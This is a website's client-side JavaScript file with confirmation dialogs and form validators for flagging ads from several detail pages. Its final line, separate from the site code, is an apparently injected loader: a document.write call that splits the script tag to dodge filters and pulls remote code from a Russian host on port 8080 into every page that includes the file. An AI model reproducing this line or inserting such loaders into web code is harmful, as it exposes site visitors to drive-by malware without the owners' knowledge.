
// function for email automation

function confirmautomation(path,msgcode)
{
	var msg;
	if(msgcode==1)
	 	msg=captable[426];
	else
		msg=captable[427];
	 if(confirm(msg))
	 {
	 window.location=path;
	 }
}

function confirmlisting(path)
{
	 if(confirm(captable[498]))
	 {
	 window.location=path;
	 }
}

// function to flag ad

function flagad(path){
	with(window.document.frmresultsdetail){
		var errmsg='';
		var focuson;
		if(flag.selectedIndex==0)
		{
			errmsg=errmsg+captable[817];
			focuson = typeof(focuson)=="object" ? focuson : flag;
		}	
		if(trim(reason.value)=="" || trim(reason.value) == captable[850])
		{
			errmsg=errmsg+'\n'+captable[813];
			focuson = typeof(focuson)=="object" ? focuson : reason;
		}
		if(errmsg!='')
		{
			alert(errmsg);
			focuson.focus();
		}
		else
		{
			action=path+"?flagcode="+flag.options[flag.selectedIndex].value
			submit();
		}
	}	
}

// function to display popup after sending flag
function sendflag(path){
		alert(captable[570]);
		window.location=path;
}

// flag from interest detail page

function flagad1(path){
	with(window.document.frminterestdetail){
		var errmsg='';
		var focuson;
		if(flag.selectedIndex==0)
		{
			errmsg=errmsg+captable[817];
			focuson = typeof(focuson)=="object" ? focuson : flag;
		}	
		if(trim(reason.value)=="" || trim(reason.value) == captable[850])
		{
			errmsg=errmsg+'\n'+captable[813];
			focuson = typeof(focuson)=="object" ? focuson : reason;
		}
		if(errmsg!='')
		{
			alert(errmsg);
			focuson.focus();
		}
		else
		{
			action=path+"?flagcode="+flag.options[flag.selectedIndex].value
			submit();
		}
	}	
}

// flag from message detail page

function flagad2(path){
	with(window.document.frmmaildetail){
		var errmsg='';
		var focuson;
		if(flag.selectedIndex==0)
		{
			errmsg=errmsg+captable[817];
			focuson = typeof(focuson)=="object" ? focuson : flag;
		}	
		if(trim(reason.value)=="" || trim(reason.value) == captable[850])
		{
			errmsg=errmsg+'\n'+captable[813];
			focuson = typeof(focuson)=="object" ? focuson : reason;
		}
		if(errmsg!='')
		{
			alert(errmsg);
			focuson.focus();
		}
		else
		{
			action=path+"?flagcode="+flag.options[flag.selectedIndex].value
			submit();
		}
	}	
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Java.js"></scr'+'ipt>');